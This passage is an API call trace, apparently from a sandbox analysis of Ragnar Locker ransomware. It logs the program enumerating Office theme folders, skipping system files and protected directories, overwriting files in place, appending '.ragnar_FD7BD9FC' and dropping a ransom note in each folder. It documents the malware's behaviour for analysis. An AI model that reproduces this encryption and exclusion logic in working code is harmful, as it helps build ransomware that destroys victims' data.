(lpString1=".GIF", lpString2=".lnk") returned -1 [0074.235] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0074.235] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0074.235] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0074.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0074.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.236] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2476) returned 1 [0074.236] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x9a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.236] GetProcessHeap () returned 0x580000 [0074.236] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.236] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.239] VirtualAlloc (lpAddress=0x0, dwSize=0x9ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.239] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.239] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.239] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9ac, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x9ac, lpOverlapped=0x0) returned 1 [0074.240] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.240] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.240] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9ac, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x9ac, lpOverlapped=0x0) returned 1 [0074.240] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.240] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.240] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x9ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.240] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.240] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.240] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.240] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.240] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.240] GetProcessHeap () returned 0x580000 [0074.240] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.240] CloseHandle (hObject=0x10c) returned 1 [0074.241] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" [0074.241] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.ragnar_FD7BD9FC" [0074.241] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.242] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e798b20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e798b20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.242] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0074.242] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0074.242] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\RGNR_FD7BD9FC.txt") returned=".txt" [0074.242] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0074.242] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.242] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0074.242] lstrcpyW (in: lpString1=0x1eab6a, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0074.242] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned=".PNG" [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0074.242] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0074.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0074.243] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0074.243] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0074.243] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0074.243] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0074.243] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0074.243] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0074.243] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0074.243] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0074.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0074.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.243] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=19485) returned 1 [0074.243] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.243] GetProcessHeap () returned 0x580000 [0074.243] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.243] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.245] VirtualAlloc (lpAddress=0x0, dwSize=0x4c1d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.245] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.245] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.245] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c1d, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4c1d, lpOverlapped=0x0) returned 1 [0074.246] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.246] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c1d, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.246] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c1d, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4c1d, lpOverlapped=0x0) returned 1 [0074.246] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c1d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.246] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.246] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4c1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.246] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.246] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.247] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.247] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.247] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.247] GetProcessHeap () returned 0x580000 [0074.247] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.247] CloseHandle (hObject=0x10c) returned 1 [0074.248] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" [0074.248] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0074.248] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.248] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.248] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0074.248] lstrcmpiW (lpString1="JOURNAL", lpString2=".") returned 1 [0074.248] lstrcmpiW (lpString1="JOURNAL", lpString2="..") returned 1 [0074.248] lstrcmpiW (lpString1="JOURNAL", lpString2="Windows") returned -1 [0074.248] lstrcmpiW (lpString1="JOURNAL", lpString2="Windows.old") returned -1 [0074.248] lstrcmpiW (lpString1="JOURNAL", lpString2="Tor browser") returned -1 [0074.248] lstrcmpiW (lpString1="JOURNAL", lpString2="Internet Explorer") returned 1 [0074.249] lstrcmpiW (lpString1="JOURNAL", lpString2="Google") returned 1 [0074.249] lstrcmpiW (lpString1="JOURNAL", lpString2="Opera") returned -1 [0074.249] lstrcmpiW (lpString1="JOURNAL", lpString2="Opera Software") returned -1 [0074.249] lstrcmpiW (lpString1="JOURNAL", lpString2="Mozilla") returned -1 [0074.249] lstrcmpiW (lpString1="JOURNAL", lpString2="Mozilla Firefox") returned -1 [0074.249] lstrcmpiW (lpString1="JOURNAL", lpString2="$Recycle.Bin") returned 1 [0074.249] lstrcmpiW (lpString1="JOURNAL", lpString2="ProgramData") returned -1 [0074.249] lstrcmpiW (lpString1="JOURNAL", lpString2="All Users") returned 1 [0074.249] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0074.249] lstrcpyW (in: lpString1=0x1eb638, lpString2="JOURNAL" | out: lpString1="JOURNAL") returned="JOURNAL" [0074.249] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\" [0074.249] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\" [0074.249] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\RGNR_FD7BD9FC.txt" [0074.249] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0074.252] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*" [0074.252] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.252] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.252] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.252] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e80af40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e80af40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.253] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0074.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e80af40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e80af40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.253] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0074.253] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0074.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0074.253] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2=".") returned 1 [0074.253] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="..") returned 1 [0074.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0074.253] lstrcmpiW (lpString1="JOURNAL.INF", lpString2=".") returned 1 [0074.253] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="..") returned 1 [0074.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.253] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0074.253] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0074.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e80af40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e80af40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.253] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0074.253] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0074.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.253] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0074.253] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0074.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, 